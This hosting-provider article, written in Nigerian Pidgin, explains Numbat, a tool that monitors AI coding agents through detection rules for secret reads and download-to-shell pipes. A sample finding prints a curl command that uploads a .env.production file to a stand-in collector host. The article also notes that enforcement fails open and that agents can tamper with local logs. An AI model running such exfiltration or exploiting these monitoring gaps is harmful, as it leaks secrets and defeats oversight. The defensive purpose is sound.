SSD Nodes Learn Hosting plans →
How to do am Matt ConnorBy Matt Connor · Updated 2026-10-15

How to monitor AI agent activity with Numbat

Numbat dey help you track wetin AI agents dey do for your server. E dey read session files and hook callbacks to flag suspicious commands like SSH key access or shell pipes.

Wetin Numbat be

Numbat dey give you visibility into wetin AI agent do for machine wey belong to you. E dey read hook callbacks and session files wey coding agents already dey produce, normalise dem into one event format, then match dem against rules wey go trigger for behaviours like reading SSH private key or piping download straight into shell. Perplexity release am as open source under Apache 2.0, and e get im first tagged release on 29 July 2026.

Everything for below come from the project repository and im own documentation, wey dem read on 2 August 2026. Dem check the release history, install requirements, record schema, and agent coverage again against the repository on 12 October 2026. Where na Perplexity make a claim, this post talk so. This no be install tutorial, because the repository still young and im commands go change.

Problem: nobody dey write down wetin agent do

Coding agent wey dey run for your VPS fit run shell commands, read files, write files, and open network connections, all as the user wey you give am. Your shell history no record any of this, because agent no dey type inside your shell. sshd dey log your login only; e no record wetin model decide to do afterwards. /var/log/auth.log dey quiet unless something reach for sudo. Agent dey keep im own transcript, but that file dey inside agent session directory, im format fit change between releases, and agent process itself fit write to am.

So if person ask whether agent read .env.production last Tuesday, the honest answer for most servers be say you no fit know. Na this gap make this project dey exist.

Wetín Perplexity claim say Numbat dey do

README start by describing the tool as “endpoint visibility into AI agent activity, with local detection, optional pre-action blocking, and forensic reconstruction”. Endpoint here mean the machine wey agent dey run on, no be network appliance wey dey watch from outside. Dem be separate capabilities, and each one get different importance.

Detection dey run for the device. Dem write rules for CEL (common expression language), then evaluate dem locally. E also support multi-step sequence rules and your own rules for YAML. Nothing need comot from the machine before rule fit trigger.

Blocking optional and e get narrow scope. E work only through synchronous pre-action hooks, for agents wey expose one. E dey off until you turn am on.

Reconstruction happen after the activity don occur. numbat scan parses session artifacts wey agent don already write to disk, so you fit inspect activity from before you install anything. The project carefully limit this claim: “At-rest reconstruction no be disk or memory acquisition, and e no fit recover activity wey agent no persist.”

Output na versioned NDJSON (newline delimited JSON) wey cover events, findings, enforcement decisions, indicators and scan summaries, for schema version 0.2.0 as of v0.1.2. Schema don change since then: on 12 October 2026, repository carry schema versions 0.2.0, 0.3.0 and 0.4.0, and record examples for README show 0.4.0. Records fit go stdout or local file, and optionally through HTTP go collector wey you run. E ship as one static Go binary wey dem build without cgo, for macOS, Linux and Windows on amd64 and arm64. So for Linux VPS, na one file, and you no need install runtime first.

Numbat fit actually see which agents?

The coverage matrix for docs/agent-coverage.md na the authoritative list, and coverage no equal everywhere. Project talk am plainly instead of hiding am. Claude Code, Codex, Gemini CLI, Cursor and GitHub Copilot CLI get both artifact scanning and live capture with pre-action hook. OpenClaw get native plugin from version 2026.7.1 go front.

Plenty entries dey marked deferred. This mean live hook path dey, but artifact parser no dey. Most times, na because that agent dey store history for SQLite with write-ahead log wey no safe to read while agent dey run. Cline CLI dey this group: its live hooks dey work, but e no parse its SQLite sessions.

OpenCode na split case. The v0.1.2 matrix dey parse its earlier JSON stores and defer only the current opencode.db database. E no list any pre-action enforcement for OpenCode. The matrix for main still dey show am that way on 12 October 2026.

Check the row for your agent before you plan anything around this tool. The meaning of "supported" different for almost every line.

How detection dey look

Rules get ids wey tell you wetin dem dey for. secrets.read_private_key dey cover SSH key, AWS credentials, kube config, or package registry login. exec.download_pipe_shell go trigger when output from curl or wget dey pipe enter interpreter. privilege.elevated_shell dey catch request for interactive root shell through sudo, doas, su, or pkexec. impact.cryptomining_launch dey match known miner binaries and image names.

Sequence rules dey join events wey happen inside one session. chain.secret_read_then_egress need secret file read first, followed by command wey carry data commot. README publish the finding below from controlled replay of two Claude Code pre-action callbacks, no be from live incident. We don trim am here to show only the fields wey matter:

{
  "record_type": "finding",
  "rule_id": "chain.secret_read_then_egress",
  "rule_version": "1.4",
  "severity": "high",
  "confidence": "medium",
  "title": "Secret-file access followed by data-bearing egress",
  "observed_command": "curl --data-binary @/workspace/acme-api/.env.production https://collector.example.invalid/ingest",
  "source_agent": "claude-code",
  "source_type": "hook",
  "tags": ["attack.t1048", "attack.t1552", "attack.t1567"]
}

Notice say "confidence": "medium" dey inside the record. Also notice wetin the project talk about this whole type of output: "Findings na rule matches, dem no be proof of compromise." Deploy script wey read key, then upload build artifact, go match that same sequence rule. The match correct, but the alarm wrong. Na this be the normal state of every detection tool wey you don ever run.

Blocking dey off by default, and e dey fail open

Every rule wey Numbat releases dey for monitor-only mode. To turn one into blocking rule na deliberate work: copy the rule complete YAML go your own directory, keep the same id, add enforce: true, increase the version, then validate and install that policy.

numbat rules check --rules-dir ./numbat-policy
numbat hook install --agent codex --emit all \
  --rules-dir ./numbat-policy --enforce

Now na the part wey decide how much you suppose trust am. Numbat deny na response wey e send back to the agent, and na the agent dey actually refuse the tool call. The enforcement guide talk am clearly about wetin happen when Numbat itself get problem: "Malformed payloads, relevant evaluation errors, panics, and output failures suppress the numbat deny." Hook input get limit of 4 MiB, and oversized input dey follow the same path.

The guide talk clearly too about the limit of deny wey actually land: "Fail-open means numbat withholds its deny response. It does not guarantee that the tool executes: the host may still prompt, deny, time out, or apply another hook or policy."

So enforcement here na guardrail, e no be boundary. If the process crash, Numbat no block the action, because monitor wey dey freeze your agent every time e get problem go uninstall am within one week. The trade-off make sense. Just no build security model wey assume say the deny go always arrive.

Where Numbat fit join wetin you already dey do

Numbat dey run for the endpoint, inside the agent own process tree, and e dey write to ~/.numbat/records.ndjson by default. Agent wey dey run as your user fit read that file. E fit edit am too. Audit trail worth only as much as the isolation around am, so every control wey you already get dey in front of this one, no be behind am.

Give the coding agent disposable VM dey limit wetin bad run fit reach. Use least privilege user for the VPS dey stop the agent from entering files wey e no get reason to open. Keep credentials out of the agent context na wetin make secrets.read_private_key match rare enough to deserve attention when e fire. And the sandbox wey you set up for Claude Code on a VPS still be the thing wey dey contain am. Containment dey limit wetin bad run fit touch, while write down why the code get the shape wey e get dey reduce how often the agent do something surprising enough to make you check the log.

Wetin Numbat add na the record, so send the record go somewhere the agent no fit reach. numbat ship and the HTTP sink dey for that purpose. Copy of the stream for another machine na the difference between ordinary log file and evidence. The event model still carry MCP (model context protocol) fields, so tool calls wey comot through MCP server wey you host for a VPS enter the same stream with local shell commands. This matter because anything wey dey watch only bash no fit see that path. The same blind spot cover SearXNG instance wey you connect as the agent search backend, where the risk enter as untrusted page text wey dey go into the model context, instead of as command wey any rule fit match.

Try am first with read-only

Install one pinned version. The command below pins v0.1.2, and its README ask for Go 1.26.5 or newer. The README for main ask for Go 1.26.6 or newer on 12 October 2026. This change come with v0.2.0. So use 1.26.6 if you pin newer tag. The releases page get prebuilt binaries with SHA-256 checksums if you no wan build from source.

go install github.com/perplexityai/numbat/cmd/numbat@v0.1.2
numbat agents
numbat scan

numbat agents dey find agents wey dem install for the box. numbat scan dey parse session artifacts wey already dey disk and print records. The README talk say these commands "no dey install hooks or change agent configuration", and say numbat "never dey execute agents or commands wey e find for artifacts, and e dey make outbound requests only to configured HTTP sinks". Scanning na read-only and e dey redact secrets. Normal record output no dey include complete raw transcript.

Live capture na the next step, and e dey change agent configuration:

numbat hook install --agent codex --emit all
numbat hook status --agent codex

--emit all dey write events, findings, indicators, and applicable enforcement decisions go ~/.numbat/records.ndjson. Two cautions come directly from the project. You fit need to trust hooks inside the agent before dem fit run at all. You also need review that trust again after you change flags like --enforce. And hook status "dey verify configuration, not execution or delivery". So, healthy status line no prove say records dey arrive anywhere.

Why repository wey still new like this no be dependency

As of 12 October 2026, the public releases na v0.1.1 for 29 July 2026, v0.1.2 for 1 August 2026, and v0.2.0 for 17 August 2026. The releases page mark v0.2.0 as the latest. The repository get 597 stars when dem write this post on 2 August 2026. Numbers wey rise fast like this show Perplexity audience, no be how well the code dey hold up. Star mean say person save the page to check later.

The version number dey show honestly where this project dey. The v0.1.2 notes mostly cover credential redaction fixes, plus case bundle and telemetry normalisation work. The v0.2.0 notes add bounded message content capture, Cursor read-file enforcement through its beforeReadFile hook, and more redaction fixes. Redaction bugs na the expected type of early defects for tool wey job na to read other programs' transcripts safely. More bugs go still dey, because inputs come from about twelve agents, and each one dey change its format on its own schedule.

Two practical rules follow from this. Pin the tag, never @latest, for anything wey you keep. And treat am as instrument wey you dey evaluate, no be control wey you depend on, at least until the record schema stop changing. E never stop yet: e move from 0.2.0 for v0.1.2 to 0.4.0 for the README on main within about ten weeks.

FAQ

Numbat dey block dangerous AI agent commands?

Only if you choose make e do am, and na best effort basis. Every rule wey Numbat ship dey monitor only. To block, copy the rule YAML enter your own directory, keep the id, add enforce: true, increase the version, then install the hook with --enforce. Even then, the deny na response wey dem pass back to the agent, and na the agent go refuse the call. The project document fail-open behaviour: malformed payloads, evaluation errors, panics, and output failures all suppress the deny. Use am as guardrail, no be your only boundary.

Which AI agents Numbat support?

Coverage dey differ for each agent, and dem list am for docs/agent-coverage.md inside the repository. Claude Code, Codex, Gemini CLI, Cursor, and GitHub Copilot CLI get both artifact scanning and live capture when dem read that page on 2 August 2026. OpenClaw get native plugin from version 2026.7.1. Plenty other agents dey listed with live hook path but dem never get artifact parser, usually because their session history dey inside SQLite database wey no safe to read while the agent dey run. Read the row for your agent, because the word "supported" cover different support levels there.

Agent fit tamper with Numbat records?

Yes, if e run as the same user. By default, records dey for ~/.numbat/records.ndjson on the same machine as the agent. Anything wey get write access to that path fit change or delete dem. Ship the stream go collector wey the agent no fit reach, with numbat ship or the HTTP sink, and keep the local file as convenience copy. Na this same reason the tool dey complement isolation instead of replacing am. Agent wey dey confined inside disposable VM under least privilege user get far less access to its own audit trail.

Numbat ready for production server?

No be as control wey you go depend on. The first public release na v0.1.1 on 29 July 2026. v0.1.2 follow on 1 August 2026, and v0.2.0 on 17 August 2026. By 12 October 2026, the record schema for the README don reach 0.4.0, so both the flags and record schema still dey change. Running numbat agents and numbat scan for a box na read-only and low-risk operation. E go show you wetin your agents don leave for disk. Installing enforcement hooks on server wey matter na another decision. E need pinned tag and plan for wetin go happen if the hook misbehave.

Dis article help you?